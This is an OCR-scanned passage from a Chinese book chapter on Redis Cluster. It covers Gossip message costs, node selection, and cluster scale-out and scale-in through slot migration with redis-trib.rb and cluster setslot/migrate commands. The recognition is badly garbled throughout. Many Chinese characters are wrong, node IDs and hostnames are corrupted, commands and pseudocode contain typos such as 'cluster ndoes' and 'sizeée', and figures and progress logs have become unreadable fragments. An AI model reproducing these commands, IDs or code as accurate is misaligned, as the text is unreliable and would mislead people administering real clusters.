里 然 Gossip 协 议 的 信息 交换 机 制 具有 天 然 的 分 布 式 特性 ， 但 它 是 有 成 本 
的 。 由 于 内 部 需要 频繁 地 进行 节点 信息 交换 ， 而 ping/pong 消 妃 会 携带 当前 节 
点 和 部 分 其 他 节点 的 状态 数据 ， 势 必 会 加 重 融 宽 和 计算 的 负担 。Redis 集 群 
内 贡 点 通信 采用 固定 频率 〈 定 时 任务 每 秒 执行 10 次 ) 。 因 此 市 点 每 次 选择 需 
要 通信 的 节点 列表 变 得 非常 重要 。 通 信 节 点 选择 过 多 虽然 可 以 做 到 信息 及 时 
交换 但 成 本 过 高 。 节 点 选择 过 少 会 降低 集群 内 所 有 节点 彼此 信息 交换 频率 ， 
从 而 影响 故障 判定 、 新 节点 发 现 等 需求 的 速度 。 因 此 Redis 集 群 的 Gossip 协 
议 需 要 兼顾 信息 交换 实时 性 和 成 本 开销 ， 通 信 市 点 选择 的 规则 如 图 10-15 所 

















篆 秒 执行 10 次 
间隔 1 秘 









| 最 后 通信 时 间 


大 于 node-timeout/2 





1 Ne 


es 
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图 10-15 ”选择 通信 节点 的 规则 和 消 妃 携带 的 数据 量 


根据 通信 市 点 选择 的 流程 可 以 看 出 消 居 交 换 的 成 本 主要 体现 在 单位 时 间 
选择 用 送 消息 的 节点 数量 和 每 个 消息 携带 的 数据 量 。 





1. 选 择 发 送 消 恩 的 节点 数量 








集群 内 每 个 节点 维护 定时 任务 默认 每 秒 执行 10 次 ， 每 秒 会 随机 选取 5 个 
节点 找 出 最 久 没 有 通信 的 节点 发 送 ping 消 息 ， 用 于 保证 Gossip 信 息 交 换 的 随 
机 性 。 每 100 宇 秒 都 会 扫描 本 地 节点 列表 ， 如 果 发 现 节点 最 近 一 次 接受 pong 
消息 的 时 间 大 于 cluster node timeou2， 则 立刻 发 送 ping 消 息 ， 防 止 该 节点 信 
轧 太 长 时 间 未 更 新 。 根 据 以 上 规则 得 出 每 个 节点 每 秒 需要 发 送 ping 消 息 的 数 
量 =1+10*num (node.pong received>cluster node timeout/2) ， 因 此 
cluster_ node timeout 参 数 对 消息 发 送 的 节点 数量 影响 非常 大 。 当 我 们 的 带宽 
资源 紧张 时 ， 可 以 适当 调 大 这 个 参数 ， 如 从 默认 15 秒 改 为 30 秒 来 降低 市 宽 
用 率 。 过 度 调 大 cluster node timeout 会 影响 消息 交换 的 频率 从 而 影响 故障 转 
移 、 模 信息 更 新 、 新 节点 发 现 的 速度 。 因 此 需要 根据 业务 容忍 度 和 资源 消耗 
进行 平衡 。 同 时 整个 集群 消息 总 交换 量 也 跟 节 点 数 成 正比 。 














2. 消 息 数 据 量 





每 个 ping 消 息 的 数据 量 体 现 在 消息 头 和 消息 体 中 ， 其 中 消息 头 主要 占用 
空间 的 字段 是 myslots[CLUSTER SLOTS/8]， 占 用 2KB， 这 块 空间 占用 相对 
固定 。 消 息 体 会 携带 一 定数 量 的 其 他 节点 信息 用 于 信息 交换 。 有 具体 数量 见 以 
下 伪 代 码 : 

















def get wanted(): 
int total size = sizeée(cluster.nodes) 
# 默认 包含 节点 总 量 的 L/10 
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int wanted = floor(total size/10); 
if wanted < 3: 

# 至 少 携带 3 个 其 他 节点 信息 

wanted = 3; 
if wanted > total Size =2 2: 

# 最 多 包含 total size - 2 个 

wanted = total size - 2; 

return wanted; 








根据 伪 代 码 可 以 看 出 消息 体 携 融 数 据 量 跟 集 群 的 节点 数 恩 恩 相 关 ， 更 大 
的 集群 每 次 消息 通信 的 成 本 也 就 更 高 ， 因 此 对 于 Redis 集 群 来 说 并 不 是 大 而 
全 的 集群 更 好 ， 对 于 集群 规模 控制 的 建议 见 之 后 10.7 市 “集群 运 维 ”。 
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10.4 ”集群 伸缩 


10.4.1 ”伸缩 原理 








Redis 集 群 提供 了 灵活 的 节点 扩容 和 收缩 方案 。 在 不 影响 集群 对 外 服务 
的 情况 下 ， 可 以 为 集群 添加 节点 进行 扩容 也 可 以 下 线 部 分 节点 进行 缩 容 ， 如 
图 10-16 所 示 。 








| cluster | 
| | 2 ai 
i | .4 
| | 下 全 _Ab 
| | 
|____. ne es | 
i 
AR 


图 10-16 ”集群 节点 上 下 线 





从 图 10-16 看 出 ，Redis 集 群 可 以 实现 对 节点 的 灵活 上 下 线 控制 。 其 中 原 
理 可 抽象 为 槽 和 对 应 数据 在 不 同 节 点 之 间 灵 活 移动 。 首 先 来 看 我 们 之 前 搭建 
的 集群 模 和 数据 与 节点 的 对 应 关系 ， 如 图 10-17 所 示 。 
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slot-0 ] data ] 
slot-… | data | 二 

sjot-5401 | data | a 
区 5462 ] ] data | ee 


] slot-… | | data = 
slot-1092 data pe 


slot-10923 data i 


] slot-*…: ] data | RR 
slot-16383 i 


图 10-17 槽 和 数据 与 节点 的 对 应 关系 








三 个 主 节点 分 别 维护 自 己 负责 的 槽 和 对 应 的 数据 ， 如 果 希 望 加 入 1 个 节 
点 实现 集群 扩容 时 ， 需 要 通过 相关 命令 把 一 部 分 槽 和 数据 迁移 给 新 节点 ， 如 
图 10-18 所 示 。 
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slot-0 - data ~ 


slot-， d: ata 


= 5461 | | data .一 
[ese data 

ee > >、 

move slots A 6385 | 

slot-*…: data 二 > / 

ea “> 





slot-10922 data 


加 1092 J data nn 
slot-: data 


slot- 16383 d ata 





图 10-18 ” 槽 和 相关 数据 迁移 到 新 节点 


图 中 每 个 节点 把 一 部 分 槽 和 数据 迁移 到 新 的 贡 点 6385$， 每 个 节点 负责 的 
槽 和 数据 相 比 之 前 变 少 了 从 而 达到 了 集群 扩容 的 目的 。 这 里 我 们 故意 忽略 了 
槽 和 数据 在 节点 之 间 迁 移 的 细节 ， 目 的 是 想 让 读者 重点 关注 在 上 层 槽 和 节点 
分 配 上 来 ， 理 解 集群 的 水 平 伸缩 的 上 层 原 理 : 集群 伸缩 = 槽 和 数据 在 节 氮 之 
间 的 移动 ， 下 面 将 介绍 集群 扩容 和 收缩 的 细 布 。 
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10.4.2 ”扩容 集群 





扩容 是 分 布 式 存储 最 常见 的 需求 ，Redis 集 群 扩容 操作 可 分 为 如 下 步 


又 : 
1) 准备 新 节点 。 
2) 加 入 集群 。 
3) 迁移 槽 和 数据 。 
1. 准 备 新 节点 


需要 提前 准备 好 新 节点 并 运行 在 集群 模式 下 ， 新 节 扣 建议 跟 集群 内 的 节 
点 配置 保持 一 致 ， 便 于 管理 统一 。 准 备 好 配置 后 司 动 两 个 节点 命令 如 下 : 





redis-server conf/redis-6385.conf 
redis-server conf/redis-6386.conf 








启动 后 的 新 节点 作为 孤儿 节点 运行 ， 并 没有 其 他 节点 与 之 通信 ， 和 集群 结 
构 如 图 10-19 所 示 。 


2. 加 入 集群 


新 节点 依然 采用 cluster meet 命 令 加 入 到 现 有 集群 中 。 在 集群 内 任意 节点 
执行 cluster meet 命 令 让 6385 和 6386 节 点 加 入 进来 ， 命令 如 下 : 





127.0.0.1:63719> cluster meet 127.0.0.1 6385 
127.0.0.1:6379> cluster meet 127.0.0.1 6386 
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新 节点 加 入 后 集群 结构 如 图 10-20 所 示 。 


Eb 
| | 
| | 
| | 
| | 
| (6380 6384) | 
| | 
a nd na. 


图 10-19 ”集群 内 节点 和 孤儿 节点 


clus ter 


© 
2 © 
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图 10-20 ”新 节点 6385 和 6386 加 入 集群 





集群 内 新 旧 节 点 经 过 一 段 时 间 的 ping/pong 消 息 通 信之 后 ， 所 有 节点 会 发 
现 新 节点 并 将 它们 的 状态 保存 到 本 地 。 例 如 我 们 在 6380 节 点 上 执行 cluster 
nodes 命 令 可 以 看 到 新 节点 信息 ， 如 下 所 示 : 








127.0.0.1:6380>cluster ndoes 

1l1a205dd8b2819a00ddle8b6be40a8e2abe77b756 127.0.0.1:6385 master - 0 146934780075 
7 connected 

475528blbcf8e74d227104a6cf1lbf70f00c24aae 127.0.0.1:6386 master - 0 146934779874 
8 connected 
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新 节点 刚 开 始 都 是 主 节 点 状态 ， 但 是 由 于 没有 负责 的 槽 ， 所 以 不 能 接受 
任何 读 写 操作 。 对 于 新 节点 的 后 续 操 作 我 们 一 般 有 两 种 选择 : 


:为 它 迁 移 模 和 数据 实现 扩容 。 


作为 其 他 主 节 点 的 从 节 扣 负责 故 障 转 移 。 


redis-trib.rb 工 具 也 实现 了 为 现 有 集群 添加 新 节点 的 命令 ， 还 实现 了 直接 
添加 为 从 节点 的 支持 ， 命 令 如 下 : 





redis-trib.rb add-node new host:new port existing host:existing port --slave 
--master-id <arg> 





内 部 同样 采用 cluster meet 命 令 实 现 加 入 集群 功能 。 对 于 之 前 的 加 入 集群 
操作 ， 我 们 可 以 采用 如 下 命令 实现 新 节点 加 入 : 





redis-trib.rb add-node 127.0.0.1:6385 127.0.0.1:6379 
redis-trib.rb add-node 127.0.0.1:6386 127.0.0.1:6379 


© 


正式 环境 建议 使 用 redis-trib.rb add-node 命 令 加 入 新 节点 ， 该 命令 内 部 会 
执行 新 节点 状态 检查 ， 如 果 新 节点 已 经 加 入 其 他 集群 或 者 包含 数据 ， 则 放弃 
集群 加 入 操作 并 打印 如 下 信息 : 








[ERR] Node 127.0.0.1:6385 is not empty. Either the node already knows other 
nodes (check with CLUSTER NODES) or contains some key in database 0. 


























如 果 我 们 手动 执行 cluster meet 命 令 加 入 已 经 存在 于 其 他 集群 的 季 点 ， 会 
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造成 被 加 入 节点 的 集群 合并 到 现 有 集群 的 情况 ， 从 而 造成 数据 丢失 和 错乱 
后 果 非 常 严重 ， 线 上 谨慎 操作 。 


3. 迁 移 槽 和 数据 


加 入 集群 后 需要 为 新 节点 迁移 槽 和 相关 数据 ， 模 在 迁移 过 程 中 集群 可 以 
正常 提供 读 写 服 务 ， 迁 移 过 程 是 集群 扩容 最 核心 的 环节 ， 下 面 详细 讲解 。 


(1) 槽 迁移 计划 





槽 是 Redis 集 群 管理 数据 的 基本 单位 ， 首 先 需要 为 新 节点 制定 槽 的 迁移 
计划 ， 确 定 原 有 节点 的 哪些 槽 需要 迁移 到 新 节点 。 迁 移 计 划 需 要 确保 每 个 节 
点 负责 相似 数量 的 柳 ， 从 而 保证 各 节点 的 数据 均匀 。 例 如 ， 在 集群 中 加 入 
6385 贡 点 ， 如 图 10-21 所 示 。 加 入 6385 节 点 后 ， 原 有 节点 负责 的 槽 数量 从 

6380 变 为 4096 个 。 














图 10-21 新 节点 加 入 的 槽 迁移 计划 


槽 迁移 计划 确定 后 开始 逐个 把 槽 内 数据 从 源 节 点 迁移 到 目标 节点 ， 如 图 
10-22 所 示 。 
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(2) 迁移 数据 


数据 迁移 过 程 是 逐个 槽 进行 的 ， 每 个 槽 数据 迁移 的 流程 如 图 10-23 所 


流程 说 明 : 


1) 对 目标 节点 发 送 cluster setslot{slot}importing{sourceNodeld} 命 令 ， 让 
目标 节点 准备 导入 槽 的 数据 。 


2) 对 源 节 点 发 送 cluster setslot{slot}migrating{targetNodeld} 命 令 ， 让 源 
节点 准备 迁 出 槽 的 数据 。 


3) 源 节 点 循环 执行 cluster getkeysinslot{slot} fcounft 命令， 获取 count 个 
属于 槽 {slot} 的 键 。 


模 数 据 迁 移 
6379 ~ 


target slots 
6380 
target 
6381 


图 10-22 ” 槽 和 数据 迁移 到 6385 节 点 
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“一 1) 目标 节点 准备 导入 构 {slot) 


tar get 





了 )y 子 名 
client | 4) 批量 迁移 相关 键 的 数据 
3) 获取 slot 下 {count, 个 刍 
2) 源 节 点 准备 导出 槽 {slot} 
人 
一 


图 10-23 ” 槽 和 数据 迁移 流程 


4) 在 源 节 点 上 执行 migrate {targetIp} {targetPort}""0 {timeout} keys {keys...} 
过 流水 线 (pipeline) 机 制 批量 迁移 到 目标 节点 ， 批 量 


从 人 公 只 咎 


命令 ， 把 获取 的 键 通 
之 前 的 migrate 命令 只 能 


迁移 版 本 的 migrate 命 令 在 Redis3.0.6 以 上 版 本 提供 ， 
单个 键 迁移 。 对 于 大 量 key 的 场景 ， 批 量 键 迁 移 将 极 大 降低 节点 之 间 网 络 IO 


次 数 。 
5) 重复 执行 步骤 3) 和 步骤 4) 直到 槽 下 所 有 的 键 值 数 据 迁 移 到 目标 节 


6) 回 集 群 内 所 有 主 节 点 发 送 cluster setslot{slotynodeftargetNodeId} 
知 槽 分 配给 目标 节点 。 为 了 保证 槽 节点 映射 变更 及 时 传播 ， 需 要 通 历 


发 送 给 所 有 主 贡 点 更 新 被 迁移 的 槽 指 网 新 节点 。 
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使 用 伪 代 码 模拟 迁移 过 程 如 下 : 





def move slot(source,target,slot): 
# 目标 节点 准备 导入 档 
target.cluster ("setslot",slot,"importing",source.nodelId); 
# 目标 节点 准备 全 出 档 
source.cluster ("setslot",slot,"migrating",target.nodelId); 
while true : 
# 批量 从 源 节点 获取 键 
keys = source.cluster("getkeysinslot",slot,pipeline size); 
if keys.length == 0: 
# 键 列表 为 空 时 ， 退 出 循环 
break; 
# 批量 迁移 键 到 目标 节点 
source.call ("migrate",target.host,target.port,"",0,timeout,"keys", keys) 
# 向 集群 所 有 主 节点 通知 横 被 分 配给 目标 节点 
for node in nodes: 
if node.flag == "slave": 
continue; 
node.cluster("setslot",slot,"node",target.nodelId); 


































































































根据 以 上 流程 ， 我 们 手动 使 用 命令 把 源 节 点 6379 负 责 的 模 4096 迁 移 到 目 
标 节 点 6385 中 ， 流 程 如 下 : 


1) 目标 节点 准备 导入 模 4096 数 据 : 





127.0.0.1:6385>cluster setslot 4096 importing cfb28efldeee4e0fa78da86abe5d24566 
OK 





确认 槽 4096 导 入 状态 开局 : 





127.0.0.1:6385>cluster nodes 
la205dd8b2819a00ddle8b6be40a8e2abe77b756 127.0.0.1:6385 myself,master -~- 0 07c 
[4096-<-cfb28efldeee4e0fa78da86abe5d24566744411l1e] 








2) 源 节 点 准备 导出 模 4096 数 据 : 





127.0.0.1:6379>cluster setslot 4096 migrating la205dd8b2819a00ddle8b6be40a8e2ab 
OK 





确认 槽 4096 导 出 状态 开启 : 
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127.0.0.1:6379>cluster nodes 
cfpb28efldeee4e0fa78da86abe5d2456674441lle 127.0.0.1:6379 myself,master - 0 0 0c 
0-5461 [4096->-1la205dd8b2819a00ddle8b6be40a8e2abe77b756] 








3) 批量 获取 槽 4096 对 应 的 键 ， 这 里 我 们 获取 到 3 个 处 于 该 槽 的 键 : 





127.0.0.1:6379> Cluster getkeysinslot 4096 100 
1) "key:test:5028" 

2) "key:test:68253" 

3) "key:test:79212" 








确认 这 三 个 键 是 否 存在 于 源 节 点 : 





127.0.0.1:6379>mget key:test:5028 key:test:68253 key:test:79212 
1) "value:5028" 
2) "value:68253" 
3) "value:79212" 








批量 迁移 这 3 个 键 ，migrate 命 令 保 证 了 每 个 键 迁移 过 程 的 原子 性 : 





127.0.0.1:6379>migrate 127.0.0.1 6385 "" 0 5000 keys key:test:5028 key:test:682 
key:test:79212 





出 于 演示 目的 ， 我 们 继续 查询 这 三 个 键 ， 发 现 已 经 不 在 源 节 点 中 ， 
Redis 返 回 ASK 转 问 错 误 ，ASK 转 同人 负 员 引导 客户 端 找 到 数据 所 在 的 节点 ， 
细 市 将 在 后 面 10.5 节 “请 求 路 由 ”中 说 明 。 





127.0.0.1:6379> mget key:test:5028 key:test:68253 key:test:79212 
(error) ASK 4096 127.0.0.1:6385 





通知 所 有 主 节点 槽 4096 指 派 给 日 标 节点 6385: 














127.0.0.1:6379>cluster setslot 4096 node 1a205dd8b2819a00ddle8b6be40a8e2abe77b7 
127.0.0.1:6380>cluster setslot 4096 node 1a205dd8b2819a00ddle8b6be40a8e2abe77b7 
127.0.0.1:6381>cluster setslot 4096 node 1a205dd8b2819a00ddle8b6be40a8e2abe77b7 
127.0.0.1:6385>cluster setslot 4096 node 1a205dd8b2819a00ddle8b6be40a8e2abe77b7 
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确认 源 节 点 6379 不 再 负责 模 4096 改 为 目标 节点 638$ 负 责 : 





127.0.0.1:6379> cluster nodes 

cfpb28efldeee4e0fa78da86abe5d2456674441lle 127.0.0.1:6379 myself,master - 0 00c 
0-4095 4097-5461 

1a205dd8b2819a00ddle8b6be40a8e2abe77b756 127.0.0.1:6385 master - 0 146971801107 
connected 4096 








手动 执行 命令 演示 槽 迁移 过 程 ， 是 为 了 让 读者 更 好 地 理解 迁移 流程 ， 实 
际 操 作 时 肯定 涉及 大 量 槽 并 且 每 个 槽 对 应 非常 多 的 键 。 因 此 redis-trib 提 供 了 
槽 重 分 瞩 功 能， 命令 如 下 : 





redis-trib.rb reshard host:port --from <arg> --to <arg> --slots <arg> --yes --t 
<arg> --pipeline <arg> 





参数 说 明 : 


“host: port: 必 传 参数 ， 和 集群 内 任意 节点 地 址 ， 用 来 获取 整个 集群 信 


`--from: 制定 源 厄 点 的 d， 如 果 有 多 个 源 节 点 ， 使 用 逗号 分 隔 ， 如 果 是 
all 源 节点 变 为 集群 内 所 有 主 节点 ， 在 迁移 过 程 中 提示 用 户 输入 。 





--to: 需要 迁移 的 目标 节点 的 id， 目 标 节 点 只 能 填写 一 个 ， 在 迁移 过 程 
中 提示 用 户 输 入 。 


-slots: 需要 迁移 权 的 总 数量 ， 在 迁移 过 程 中 提示 用 户 输入 。 


`--yes: 当 打 印 出 reshard 执 行 计划 时 ， 是 否 需 要 用 户 输入 yes 确 认 后 再 执 
行 reshard。 


--timeout: 控制 每 次 migrate 操 作 的 超时 时 间 ， 默 认为 60000 坚 秒 。 
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--pipeline: 控制 每 次 批量 迁移 键 的 数量 ， 默 认为 10。 


reshard 命 令 简化 了 数据 迁移 的 工作 量 ， 其 内 部 针对 每 个 模 的 数据 迁移 同 
样 使 用 之 前 的 流程 。 我 们 已 经 为 新 节点 6395 迁 移 了 一 个 槽 4096， 剩 下 的 槽 数 
据 迁 移 使 用 redis-trib.rb 完 成 ， 命 令 如 下 : 





#redis-trib.rb reshard 127.0.0.1:6379 

>>> Performing Cluster Check (using node 127.0.0.1:6379) 

: cfb28efldeee4e0fa78da86abe5d2456674441le 127.0.0.1:6379 
slots:0-4095,4097-5461 (5461 slots) master 
1 additional replica(s) 

: 40b8d09d44294d2e23c7c768efc8fcd153446746 127.0.0.1:6381 
slots:10923-16383 (5461 slots) master 
1 additional replical(s) 

: 8e41673d59c9568aa9d29fb1l74ce733345b3e8f1 127.0.0.1:6380 
slots:5462-10922 (5461 slots) master 
1 additional replical(s) 

: 1a205dd8b2819a00dgdle8pb6be40a8e2abe77b756 127.0.0.1:6385 
slots:4096 (1 slots) master 

0 additional replical(s) 

J ei 
[OK] A nodes agree about slots configuration. 
>>> Check for open slots... 

>>> Check slots coverage... 

[OK] A 16384 slots covered. 




































































打印 出 集群 每 个 节点 信息 后 ，reshard 命 令 需 要 确认 迁移 的 槽 数量， 这 里 
我 们 输入 4096 个 : 





How many slots do you want to move (from 1 to 16384)4096 





输入 6385 的 节点 ID 作为 目标 节点 ， 目 标 节 点 只 能 指定 一 个 : 





What is the receiving node ID 1a205dd8b2819a00ddle8b6be40a8e2abe77b756 








之 后 输入 源 节 点 的 ID， 这 里 分 别 输入 节点 6379、6380、6381 三 个 节点 ID 
最 后 用 done 表 示 结 





Please enter all the source node IDs . 
Type "all'" to use all the nodes as source nodes for the hash slots. 
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Type ‘done' once you entered all the source nodes IDs . 
Source node #1:cfb28efldeee4e0fa78da86abe5d24566744411le 
Source node #2:8e41673d59c9568aa9d29fbl1l74ce733345b3e8f1 
Source node #3:40b8d09d44294gd2e23c7c768efc8fcdl53446746 
Source node #4:done 





数据 迁移 之 前 会 打印 出 所 有 的 横 从 源 市 点 到 目标 节点 的 计划 ， 确 认 计 划 
无 误 后 输入 yes 执 行 迁移 工作 : 





oving Slot 0 from cfb28efldeee4e0fa78da86abe5d2456674441le 


1365 from cfb28efldeee4e0fa78da86abe5d2456674441le 
5462 from 8e41673d59c9568aa9d29fbl74ce733345b3e8f1 


oving slo 
oving slo 


(二 


6826 from 8e41673d59c9568aa9d29fbl74ce733345b3e8f1 
10923 from 40b8d09gd44294d2e23c7c768efc8fcdl153446746 


oving slo 
oving slo 


| 














12287 from 40b8d09d44294d2e23c7c768efc8fcd153446746 
to proceed with the proposed reshard Plan (yes/no) yes 


oving slo 
Do you wan 





tt- 





redis-trib 工 具 会 打印 出 每 个 槽 迁移 的 进度 ， 如 下 : 





Oving elot 0 from L208 00L0379 0 L277: 0608.136385 


1365: from T2705 0 E6379. to 127;0%0..13:6385 
5462 Erom 21050516380 to 赴 27 .090104263895: 


oving slo 
oving slo 


te 


6826 from 127.0.0.1:6380 to 127.0.0.1:6385 
二 0923 .fF6m L27050515638l... C0 .L275.05.0..L3 6385 


oving slo 
oving slo 


0 

















Oving.s Leot L0923 fom L200 L2038L Eon0.:0 .L26389 





当 所 有 的 槽 迁移 完成 后 ，reshard 命 令 上 自动 退出 ， 执 行 cluster nodes 命 令 
检查 节点 和 槽 映射 的 变化 ， 如 下 所 示 : 





127.0.0.1:6379>cluster nodes 
40622f9e7Tadc8ebd77fca0de9edfe691cb8a74fb 127.0.0.1:6382 slave cfb28efldeee4e0fa 
78da86abe5d2456674441le 0 1469779084518 3 connected 
40b8d09gd44294d2e23c7c768efc8fcd153446746 127.0.0.1:6381 master - 0 
1469779085528 2 connected 12288-16383 
4fa7eac4080f0b667ffeab9b87841dqa49pb84a6e4 127.0.0.1:6384 slave 40b8d09d44294gd2e2 
3c7c768efc8fcdq153446746 0 1469779087544 5 connected 
be9485a6a729fc98c5151374bc30277e89a461gd8 127.0.0.1:6383 slave 8e41673d59c9568aa 
9d29fpbl74ce733345b3e8f1l1 0 1469779088552 4 connected 
cfpb28efldeee4e0fa78da86abe5d24566744411le 127.0.0.1:6379 myself,master - 0 0 0 
connected 1366-4095 4097-5461 
475528blbcf8e74d227104a6cf1lbf70f00c24aae 127.0.0.1:6386 master - 0 
1469779086536 8 connected 




















609 


8e41673dq59c9568aa9dq29fbl174ce733345b3e8f1l1 127.0.0.1:6380 master - 0 
1469779085528 1 connected 6827-10922 

1l1a205dd8b2819a00ddle8b6be40a8e2abe77b756 127.0.0.1:6385 master - 0 
1469779083513 9 connected 0-1365 4096 5462-6826 10923-12287 








节点 638$ 负 责 的 模 变 为 :， 0-136$4096$462-682610923-12287。 由 于 模 用 
于 hash 运 算 本 身 顺 序 没 有 意义 ， 因 此 无 须 强制 要 求 节 点 负责 模 的 顺序 性 。 迁 
移 之 后 建议 使 用 redis-trib.rb rebalance 命 令 检 查 节 点 之 间 权 的 均衡 性 。 命 令 如 
下 : 








# redis-trib.rb rebalance 127.0.0.1:6380 

>>> Performing Cluster Check (using node 127.0.0.1:6380) 

[OK] A nodes agree about slots configuration. 

>>> Check for open slots... 

>>> Check slots coverage... 

[OK] A 16384 slots covered. 

*** NO rebalancing needed! All nodes are within the 2.0% threshold. 























可 以 看 出 迁移 之 后 所 有 主 节 点 负责 的 槽 数量 送 异 在 2% 以 内 ， 因 此 集群 
市 点 数据 相对 均 义 ， 无 需 调 整 。 


(3) 添加 从 节点 


扩容 之 初 我 们 把 638$、6386 节 点 加 入 到 集群 ， 节 点 6385 迁 移 了 部 分 槽 和 
数据 作为 主 节点 ， 但 相 比 其 他 主 节点 目前 还 没有 从 节点 ， 因 此 该 节点 不 具备 
故障 转移 的 能 


这 时 需要 把 节点 6386 作 为 638$ 的 从 节点 ， 从 而 保证 整个 集群 的 高 可 用 。 
使 用 cluster replicate{masterNodeld} 命 令 为 主 节点 添加 对 应 从 节点 ， 注 意 在 集 
群 模式 下 slaveof 洪 加 从 节点 操作 不 再 支持 。 如 下 所 示 : 








127.0.0.1:6386>cluster replicate 1a205dd8b2819a00ddle8b6be40a8e2abe77b756 





从 节点 内 部 除了 对 主 节 点 发 起 全 量 复制 之 外 ， 还 需要 更 新 本 地 节点 的 集 
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群 相关 状态 ， 查 看 节点 6386 状 态 确 认 已 经 变 成 6385 节 点 的 从 节点 : 





127.0.0.1:6386>cluster nodes 
475528blbcf8e74d227104a6cflbf70f00c24aae 127.0.0.1:6386 myself,slave 1a205dd8b2 


819a00ddle8b6be40a8e2abe77b756 0 0 8 connected 
1l1a205dd8b2819a00ddle8b6be40a8e2abe77b756 127.0.0.1:6385 master - 0 146977908351 


connected 0-1365 4096 5462-6826 10923-12287 











到 此 整个 集群 扩容 完成 ， 集 群 关系 结构 如 图 10-24 所 示 。 
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10.4.3 ”收缩 集群 


收缩 集群 意味 着 缩减 规模 ， 需 要 从 现 有 集群 中 安全 下 线 部 分 节点 


下 线 节 点 流程 如 图 10-25 所 示 。 


cluster 


epl AN 
二 后 二 人 


epl 
6380)— 二- 00) 


Ti 
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I 
| 
\ 
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图 10-24 扩容 后 集群 结构 
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通知 其 他 市 点 
/> 记 下 线 蔬 ， 点 





图 10-25 ”节点 安全 下 线 流 程 


流程 说 明 : 


1) 首先 需要 确定 下 线 节 点 是 否 有 负责 的 模 ， 如 果 是 ， 需 要 把 槽 迁移 到 
其 他 节点 ， 保 证 节 氮 下 线 后 整个 集群 槽 节点 映射 的 完整 性 。 











2) 当下 线 节 点 不 再 负责 槽 或 者 本 喘 是 从 节点 时 ， 就 可 以 通知 集群 内 其 
他 节点 二 记 下 线 节 氮 ， 当 所 有 的 节点 筷 记 该 节点 后 可 以 正常 关闭 。 


1. 下 线 迁 移 村 
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下 线 节点 需要 把 自己 负责 的 槽 迁移 到 其 他 节点 ， 原 理 与 之 前 节点 扩容 的 
迁移 槽 过 程 一 致 。 例 如 我 们 把 6381 和 6384 节 点 下 线 ， 节 点 信息 如 下 : 





127.0.0.1:6381> cluster nodes 

40b8d09d44294d2e23c7c768efc8fcd153446746 127.0.0.1:6381 myself,master - 00 2 c 
12288-16383 

4fa7eac4080f0b667ffeab9b87841dqa49pb84a6e4 127.0.0.1:6384 slave 40b8d09d44294gd2e2 
3c7c768efc8fcdq153446746 0 1469894180780 5 connected 





6381 是 主 节点 ， 负 责 柳 (12288-16383) ，6384 是 它 的 从 节点 ， 如 图 10- 
26 所 示 。 下 线 6381 之 前 需要 把 负责 的 模 迁 移 到 其 他 节点 。 


| ”” 二 我 各 并 入 o> ， 
| source | 
6379 ) | 
Se | 

| ! 
Eo slots Vs 
I\ 6381 6380 | 
~ 
; source | 
63850 ， 
| 

1 | 


| 
| 
| 
| 
| 
\ 


图 10-26 ”迁移 下 线 节 点 6381 的 槽 和 数据 








收缩 正好 和 扩容 迁移 方向 相反 ，6381 变 为 源 节点 ， 其 他 主 节点 变 为 目标 
节点 ， 源 节点 需要 把 自身 负责 的 4096 个 槽 均匀 地 迁移 到 其 他 主 节点 上 。 这 里 
直接 使 用 redis-trib.rb reshard 命 令 完 成 槽 迁移 。 由 于 每 次 执行 reshard 命 令 只 能 
有 一 个 目标 节点 ， 因 此 需要 执行 3 次 reshard 命 令 ， 分 别 迁 移 1365、1365、 
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1366 个 槽 ， 如 下 所 示 : 





#redis-trib.rb reshard 127.0.0.1:6381 
>>> Performing Cluster Check (using node 127.0.0.1:6381) 





[OK] All 16384 slots covered. 

How many slots do you want to move (from 1 to 16384)1365 

What is the receiving node ID cfb28efldeee4e0fa78da86abe5d2456674441le /* 输 入 6375 
节点 圭 Q 作 为 目标 节点 .* / 

Please enter all the Source node IDs . 

Type "all" to use all the nodes as Source nodes for the hash slots. 

Type "qdqone' once you entered all the Source nodes IDs . 

Source node #1:40b8d09d44294d2e23c7c768efc8fcdl53446746 /* 源 节点 6381 id*/ 

Source node #2:done /* 输入 done 确 认 */ 


























Do you want to proceed with the proposed reshard plan (yes/no) yes 





槽 迁移 完成 后 ，6379 节 点 接管 了 1365 个 模 12288~136$2， 如 下 所 示 : 





127.0.0.1:6379> cluster nodes 

cfb28efldeee4e0fa78da86abe5d2456674441le 127.0.0.1:6379 myself,master - 0 0 10 
1366-4095 4097-5461 12288-13652 

40b8d09dq44294dq2e23c7c768efc8fcdq153446746 127.0.0.1:6381 master - 0 146989572522 
connected 13653-16383 





继续 把 1365 个 槽 迁移 到 节点 6380: 





#redis-trib.rb reshard 127.0.0.1:6381 
>>> Performing Cluster Check (using node 127.0.0.1:6381) 


How many slots do you want to move (from 1 to 16384) 1365 

What is the receiving node ID 8e41673dq59c9568aa9d29fb174ce733345b3e8f1 /*6380 节 上 
作为 目标 节点 .*/ 

Please enter all the source node IDs. 

Type ‘all' to use all the nodes as source nodes for the hash slots. 

Type ‘done' once you entered all the source nodes IDs. 

Source node #1:40b8d09d44294d2e23c7c768efc8fcdl153446746 

Source node #2:done 











Do you want to proceed with the proposed reshard plan (yes/no)yes 





完成 后 ，6380 节 点 接管 了 1365 个 槽 13653~15017， 如 下 所 示 : 





127.0.0.1:6379> cluster nodes 
40b8d09dq44294dq2e23c7c768efc8fcdq153446746 127.0.0.1:6381 master - 0 146989612329 
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connected 15018-16383 
8e41673d59c9568aa9gd29fb1l74ce733345b3e8f1 127.0.0.1:6380 master - 0 146989612531 
connected 6827-10922 13653-15017 





把 最 后 的 1366 个 槽 迁移 到 节点 6385 中 ， 如 下 所 示 : 





#redis-trib.rb reshard 127.0.0.1:6381 


How many slots do you want to move (from 1 to 16384) 1366 

What is the receiving node ID 1a205dd8b2819a00gddle8b6be40a8e2abe77b756 /*6385 
车 点 二 d 作 为 目标 节点 .*/ 

Please enter all the source node IDs. 

Type ‘all' to use all the nodes as source nodes for the hash slots. 

Type ‘done' once you entered all the source nodes IDs. 

Source node #1:40b8d09d44294d2e23c7c768efc8fcdl153446746 

Source node #2:done 





























Do you want to proceed with the proposed reshard plan (yes/no) yes 








到 目前 为 止 ， 节 点 6381 所 有 的 槽 全 部 迁 出 完成 ，6381 不 再 负责 任何 槽 。 
状态 如 下 所 示 : 





127.0.0.1:6379> cluster nodes 

40b8d09d44294d2e23c7c768efc8fcd1l53446746 127.0.0.1:6381 master - 0 146989644476 
connected 

8e41673d59c9568aa9gd29fbl74ce733345b3e8f1 127.0.0.1:6380 master - 0 146989644376 
